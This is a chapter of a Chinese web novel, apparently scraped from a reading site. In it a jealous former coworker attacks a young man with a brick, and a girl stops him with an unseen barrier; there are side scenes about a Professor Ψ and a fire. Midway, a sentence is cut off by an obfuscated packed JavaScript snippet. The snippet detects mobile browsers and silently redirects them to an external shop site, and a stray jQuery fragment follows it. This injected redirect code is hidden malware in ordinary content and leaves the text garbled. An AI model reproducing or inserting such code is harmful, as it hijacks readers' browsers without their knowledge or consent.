邵小年:“秋笙哥别这么说嘛,怪伤感的。咱们虽然以后不能在同一家公司做事情,但毕竟在同一个城市,还是可以经常出来碰碰面的嘛。”
听着邵小年的话,脸上带着酒气的徐秋笙只是笑着看他。
邵小年的神态难掩年轻气盛和喜色。
他圆润的言语在徐秋笙听来都是虚情假意和场面话。
昨天经理和老员工为庆祝邵小年他们顺利通过试用期,带他们大吃豪吃了一顿,当然主要托的还是邵小年的福。
邵小年本来还叫了徐秋笙来,其他人也都附和着,觉得邵小年体贴心善,倒是徐秋笙不识抬举最后没来。
“秋笙哥,昨天的事情是我考虑得不周到,没顾全你的心情。我有试着问经理能不能多给一个正式员工的名额,你的工作能力大家都是有目共睹的,走谁也不应该走你啊。但是…”
邵以年这两天戏瘾上身,他要解锁出来邵小年绿茶的一面。
意料之中的是其他人自动稀释掉他的茶里茶气,反倒来安慰他徐秋笙最终没被公司录用是因为徐秋笙自己的原因。
即使明眼人都看得出来,如果邵小年真的坚持,那么徐秋笙一定不会走,一定会留下来。
有的人还表现出来徐秋笙的事情不仅跟邵小年没有任何关系,徐秋笙这样做反倒伤了他们这段时间相处的同事情谊。
看着大家一脸“真挚”和替自己打抱不平的样子,邵以年甚至都觉得自己跟徐秋笙身份互换了,他才是那个被杀出来的富二代抢了工作机会的人。
当然这些细节邵以年也没打算瞒着徐秋笙,装作不经意间地全都漏了出来,因为他要扮演好绿茶邵小年的角色。
“秋笙哥,经理和同事们都劝我不要多想,不要有什么心理负担,说我已经做得很好了,说我能成为正式员工都是靠我自己努力得来的,跟其他的因素没有一点儿关系。”邵以年故意装作喝大了的样子,一副边出洋相边酒后吐真言的样子。
“但在我心里…秋笙哥,弟弟我是真把你放在我心里,我觉得对不起你。因为我…”徐秋笙强忍着装作无所谓,耐着性子靠近去听。
“因为我…明明可以求我爸让咱们公司多安排一个正式员工的名额,但是我不想靠我爸,所以…不过…秋笙哥你放心,我有朋友开公司,我把你推荐到他们的公司去,你这么优秀,一定没问题的。”
“那个…就拜托你了小年,你也知道哥是老实人,不认识什么人,现在大环境不好,像我这样没资质没背景的人找个好工作不容易…”徐秋笙此时脸上的笑看起来应该说的是这样的话,邵以年正在用期待的眼神儿等着。
但徐秋笙张不了这嘴,“不用,我自己的事情我自己会看着办,工作…总会有的。”
对徐秋笙来说,邵小年的施舍在他心里早已经形成了刺胀的嘲讽,他已经临近爆炸的边缘了。
当然徐秋笙不会让自己炸掉,因为他要毁灭的是邵小年。
他觉得如果邵小年发生了什么意外,那么就空出来了一个名额,到时候公司的经理和同事一定会想到他。
这种想法可以说是一种近乎疯狂的天真,但在邵以年眼里他很期待接下来徐秋笙的表现,还有徐秋笙会对他做出什么样的事情来。
白发苍苍的徐秋笙像刽子手一样在日历面前并没有兴奋地站太久,他等待着猎物的到来,但却不是死于自己手中现在的这把“铡刀”之下。
阳光斜照在他手中的刀上,他突然感慨自己太久没晒太阳了,他想去看看外面的人。
更重要的是徐秋笙需要给自己制造一个不在场证明。
至于叮嘱、禁忌,之前的交代,对谁额外的关照,都被徐秋笙抛在了脑后。
……
“徐秋笙!住手!”许小杏像及时雨一样一秒闪现挡在了邵以年的前面。
在一起进行的双线日历时间和世界里,许小小转学的原因是因为她要出现拯救邵以年。
她没来得及细看邵以年的伤势,只用余光瞥见了地上的血迹。
但普通人被一砖头拍在后脑勺儿上,这在许小杏的眼里算是致命伤的一种。
虽然她心里紧张到只能听见邵以年的呼吸声,但她还要装作一副能威慑住徐秋笙的样子,好像真的天不怕地不怕。
“站住!别往前走!如果你再往前走,我保证所有的人都会知道这件事情是你做的,所有的人都会知道你是凶手!”
许小杏的声音被步步紧逼的徐秋笙挤压得越来越大,虽然听不出来一点儿颤感,但比勇敢后来的紧张只有她自己知道。
许小杏的空间信息墙使用权限确实并未受影响,甚至有所升级,但在许小杏空间信息墙的使用能力里,目前没有一项是跟攻击有关系的。
许小杏在现在的时间和世界里,也无法向徐秋笙展示空间信息墙的实体,换句话来说面对敌人,许小杏就好像在用看不见的武器震慑对方一样。
所以她只能一边说话一边从徐秋笙的反应中,急速辨识出可以救命逃生的关键词。
徐秋笙看起来对“凶手”这个词无感,他更在意的是所有人。
像徐秋笙这样的人,想逃避所有人,却也在意任何一个人的目光。
正常坏人面对这一幕估计会被“吓”笑了。
一个高高的,瘦瘦的,弱弱的女孩儿,除了铿锵有力的声音和一身正气以外,看起来毫无威胁性。
但徐秋笙的脚步真的停了下来。
徐秋笙歪头掠过许小杏看着倒在地上的邵小年,徐秋笙的脸上带着意犹未尽的嗜杀表情,他在回味着刚才给邵小年的那一下。
很刺激但是发生了一些偏差,字面意义上的偏差。
本来那一砖头应该是正拍在邵小年的后脑勺上,但在最后一秒大概是邵小年被他灌了太多酒,腿软没站稳,整个人侧了一下结果救了自己一命。
见血后徐秋笙兴奋地想要再次举起手里的砖头,重重地砸向邵小年的时候,万万没想到许小杏突然冒了出来。
接着在物理层面上徐秋笙明显感到自己被无形的力量瞬间弹绝开外。
上一秒徐秋笙明明离邵小年那么近,下一秒他跟两人之间拉出了很长的一段安全距离,科学无法解释短时间内发生的这一切,许小杏跟他明明没有任何的肢体接触。
徐秋笙相信他和许小杏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617603|203701||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之间存在着什么,因为他确实能感受到无形的阻力,就好像有一堵墙一样,就好像他在自己平日的生活里感受到的社会压力一样,那种阻力,让他无法顺畅地呼吸和向前。
“Ψ教授,有叛徒在私自售卖命运主宰体…”来报告的人把徐秋笙事件和牵涉到的相关联人员都一一向Ψ教授进行了报告,急促的神态推动着急促的声音,这件事情的重要性不言而喻。
Ψ教授的反应是来报告的人从未见过的,此时地面上凌乱的被Ψ教授推倒散落的文件,跟Ψ教授一直以来的严谨和捉摸不透形成了鲜明的对比。这也让报告者更加紧张和慌乱了。
他在Ψ教授的团队里兢兢业业地工作了很多年,算是老员工,他也清楚有很多员工,工作着工作着就突然不见了,接着会有新鲜的血液进来灌满空缺。
面对身边同事的消失,“幸存者”们像达成某种共识一样,不敢有过多的好奇心。
大多数人都想活着投身和见证这项令他们痴迷的伟大事业,命运主宰体人生由人生并不是一个人的执念…
白发苍苍的徐秋笙脸上带着慈祥的微笑,在小区内散步,与此前厌恶跟别人眼神接触不同,他会迎上每一个人的目光,就好像在跟每个人用眼神打招呼一样。
徐秋笙不理解为什么有的人打招呼可以打得那么自然和轻松,他做不到。
以前无论熟人还是陌生人,徐秋笙都会把自己揉起来,装作看不见,默默地走开,不知道怎么开口,也不愿意有过多的交流。
恍惚的碎片记忆让徐秋笙慈祥的假象并没有维持太久。
“有住户房子着火了!”越来越旺的火光很快吸引了越来越多人的注意。
虽然科技的发展让水火无情这样的概率事件在变少,处理起来也更加短时高效,大大减少了救援者和被困者的死伤率,但人们对于火灾还是有一种与生俱来的畏惧感。
当小区物业第一时间赶到现场的时候,发现这火有些不对,而此时的徐秋笙发疯了一样在赶回自己的家…
徐秋笙相信许小杏说的话,他总觉得他认识这个女孩儿,这个女孩儿对他来说有某种重要性,让他下意识不能伤害她。
于是他后退,离开…
“邵以年…邵以年,你还好吗?”许小杏看着邵以年现在的样子,惨白的脸色像一层薄薄的白纸,他整个人好像随时会破掉。
“还活着,我还要年年有杏呢!”这句不合时宜的玩笑话大概花了他不少力气,因为说完这句话邵以年就没声了。
刚刚那一砖头虽然说没正中后脑勺,被邵以年躲偏了,但是徐秋笙当时下的是死手,邵以年现在觉得整个人很不好,连在心里骂徐秋笙的力气都没有。
自己不仅受了伤,空间信息墙的使用能力归零,邶珀一点儿消息也没有,邵以年觉得邶珀大概也自身难保。唯一的好消息就是他看见许小杏安然无恙。
邵以年觉得自己现在特没用,但他又多少庆幸因为自己的没用,才能有躺在许小杏怀里的机会。
许小杏一边注意着他的状态一边将他轻轻地扶起,用手臂环抱着他,邵以年倚靠在她的胸口,能听见她此时分明的心跳声。